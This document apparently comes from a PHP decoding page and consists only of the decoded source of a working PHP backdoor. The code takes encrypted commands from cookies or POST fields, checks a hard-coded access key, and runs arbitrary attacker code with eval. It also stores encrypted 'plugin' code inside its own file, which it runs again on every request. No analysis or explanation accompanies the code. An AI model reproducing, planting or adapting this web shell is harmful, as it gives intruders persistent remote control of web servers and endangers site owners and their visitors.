PHP Decode

<?  if(!defined("PHP_EOL")) 
{ 
    define("PHP_EOL", "
"); 
} 
 
if(!defined("DIRECTORY_SEPARATOR")) 
{ 
    define("DIRECTORY_SEPARATOR", "/"); 
} 
 
if (!defined('file_put_contents ')) 
{ 
    define('file_put_contents ', 1); 
 
    $cfyjujzs = '816291f4-e264-4109-b4a2-56b0ccc91819'; 
    global $cfyjujzs; 
 
    function guudpi($cukhpkar) { 
 
        if (strlen($cukhpkar) < 4) 
        { 
            return ""; 
        } 
 
        $konrvbmzkwwluqr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; 
 
        $pnooxjxnfecez = str_split($konrvbmzkwwluqr); 
        $pnooxjxnfecez = array_flip($pnooxjxnfecez); 
 
        $oylknnt = 0; 
        $pvlaeka = ""; 
 
        $cukhpkar = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $cukhpkar); 
 
        do { 
            $knxnyph = $pnooxjxnfecez[$cukhpkar[$oylknnt++]]; 
            $onxqfybg = $pnooxjxnfecez[$cukhpkar[$oylknnt++]]; 
            $xsljba = $pnooxjxnfecez[$cukhpkar[$oylknnt++]]; 
            $qkkolgr = $pnooxjxnfecez[$cukhpkar[$oylknnt++]]; 
 
            $uvgpquiy = ($knxnyph << 2) | ($onxqfybg >> 4); 
            $tamnincvvjsf = (($onxqfybg & 15) << 4) | ($xsljba >> 2); 
            $tamninnpbziq = (($xsljba & 3) << 6) | $qkkolgr; 
            $pvlaeka = $pvlaeka . chr($uvgpquiy); 
            if ($xsljba != 64) { 
                $pvlaeka = $pvlaeka . chr($tamnincvvjsf); 
            } 
            if ($qkkolgr != 64) { 
                $pvlaeka = $pvlaeka . chr($tamninnpbziq); 
            } 
        } while ($oylknnt < strlen($cukhpkar)); 
        return $pvlaeka; 
    } 
 
    if (!function_exists('file_put_contents')) 
    { 
        function file_put_contents($pnooxjx, $konrvbmz, $sbzcgbimncmrp = False) 
        { 
            $ujwffsoy = $sbzcgbimncmrp == 8 ? 'a' : 'w'; 
            $sbzcgbi = @fopen($pnooxjx, $ujwffsoy); 
            if ($sbzcgbi === False) 
            { 
                return 0; 
            } 
            else 
            { 
                if (is_array($konrvbmz)) $konrvbmz = implode($konrvbmz); 
                $yflkex = fwrite($sbzcgbi, $konrvbmz); 
                fclose($sbzcgbi); 
                return $yflkex; 
            } 
        } 
    } 
 
    if (!function_exists('file_get_contents')) 
    { 
        function file_get_contents($xigeskzk) 
        { 
            $oylknntbyqpvqf = fopen($xigeskzk, "r"); 
            $pbzoorja = fread($oylknntbyqpvqf, filesize($xigeskzk)); 
            fclose($oylknntbyqpvqf); 
 
            return $pbzoorja; 
        } 
    } 
    function afzdcr() 
    { 
        return trim(preg_replace("/\(.*\$/", '', __FILE__)); 
    } 
 
    function nolesbmb($yzfppg, $pbmdri) 
    { 
        $xxjfzjnt = ""; 
 
        for ($oylknnt=0; $oylknnt<strlen($yzfppg);) 
        { 
            for ($tamnin=0; $tamnin<strlen($pbmdri) && $oylknnt<strlen($yzfppg); $tamnin++, $oylknnt++) 
            { 
                $xxjfzjnt .= chr(ord($yzfppg[$oylknnt]) ^ ord($pbmdri[$tamnin])); 
            } 
        } 
 
        return $xxjfzjnt; 
    } 
 
    function uvyaqb($yzfppg, $pbmdri) 
    { 
        global $cfyjujzs; 
 
        return nolesbmb(nolesbmb($yzfppg, $pbmdri), $cfyjujzs); 
    } 
    function romcahl($yzfppg, $pbmdri) 
    { 
        global $cfyjujzs; 
 
        return nolesbmb(nolesbmb($yzfppg, $cfyjujzs), $pbmdri); 
    } 
 
    function iwgldmdh() 
    { 
        $tamninbphgtfi = @file_get_contents(afzdcr()); 
 
        $pnooxjxifwtja = strpos($tamninbphgtfi, md5(afzdcr())); 
        if ($pnooxjxifwtja !== FALSE) 
        { 
            $vjxyxcmv = substr($tamninbphgtfi, $pnooxjxifwtja + 32); 
            $sbzcgbibnyzoy = @unserialize(uvyaqb(rawurldecode($vjxyxcmv), md5(afzdcr()))); 
        } 
        else 
        { 
            $sbzcgbibnyzoy = Array(); 
        } 
 
        return $sbzcgbibnyzoy; 
    } 
 
    function lwbscqno($sbzcgbibnyzoy) 
    { 
        $gpmqsfs = rawurlencode(romcahl(@serialize($sbzcgbibnyzoy), md5(afzdcr()))); 
        $tamninbphgtfi = @file_get_contents(afzdcr()); 
 
        $pnooxjxifwtja = strpos($tamninbphgtfi, md5(afzdcr())); 
        if ($pnooxjxifwtja !== FALSE) 
        { 
            $sbzcgbiojfgw = substr($tamninbphgtfi, $pnooxjxifwtja + 32); 
            $tamninbphgtfi = str_replace($sbzcgbiojfgw, $gpmqsfs, $tamninbphgtfi); 
 
        } 
        else 
        { 
            $tamninbphgtfi = $tamninbphgtfi . "

//" . md5(afzdcr()) . $gpmqsfs; 
        } 
 
        @file_put_contents(afzdcr(), $tamninbphgtfi); 
    } 
 
    function qtfidzlo($ooxpeye, $oylknntreobd) 
    { 
        $sbzcgbibnyzoy = iwgldmdh(); 
 
        $sbzcgbibnyzoy[$ooxpeye] = guudpi($oylknntreobd); 
 
        lwbscqno($sbzcgbibnyzoy); 
    } 
 
    function qbvmajhz($ooxpeye) 
    { 
        $sbzcgbibnyzoy = iwgldmdh(); 
 
        unset($sbzcgbibnyzoy[$ooxpeye]); 
 
        lwbscqno($sbzcgbibnyzoy); 
    } 
 
    function wyjxpnp($ooxpeye=NULL) 
    { 
        foreach (iwgldmdh() as $egstluwh=>$mjgwrcbk) 
        { 
            if ($ooxpeye) 
            { 
                if (strcmp($ooxpeye, $egstluwh) == 0) 
                { 
                    eval($mjgwrcbk); 
                    break; 
                } 
            } 
            else 
            { 
                eval($mjgwrcbk); 
            } 
        } 
    } 
 
    foreach (array_merge($_COOKIE, $_POST) as $hglbbs => $yzfppg) 
    { 
        $yzfppg = @unserialize(uvyaqb(guudpi($yzfppg), $hglbbs)); 
 
        if (isset($yzfppg['ak']) && $cfyjujzs==$yzfppg['ak']) 
        { 
            if ($yzfppg['a'] == 'i') 
            { 
                $oylknnt = Array( 
                    'pv' => @phpversion(), 
                    'sv' => '2.0-1', 
                    'ak' => $yzfppg['ak'], 
                ); 
                echo @serialize($oylknnt); 
                exit; 
            } 
            elseif ($yzfppg['a'] == 'e') 
            { 
                eval($yzfppg['d']); 
            } 
            elseif ($yzfppg['a'] == 'plugin') 
            { 
                if($yzfppg['sa'] == 'add') 
                { 
                    qtfidzlo($yzfppg['p'], $yzfppg['d']); 
                } 
                elseif($yzfppg['sa'] == 'rem') 
                { 
                    qbvmajhz($yzfppg['p']); 
                } 
            } 
            echo $yzfppg['ak']; 
            exit(); 
        } 
    } 
 
wyjxpnp(); ?>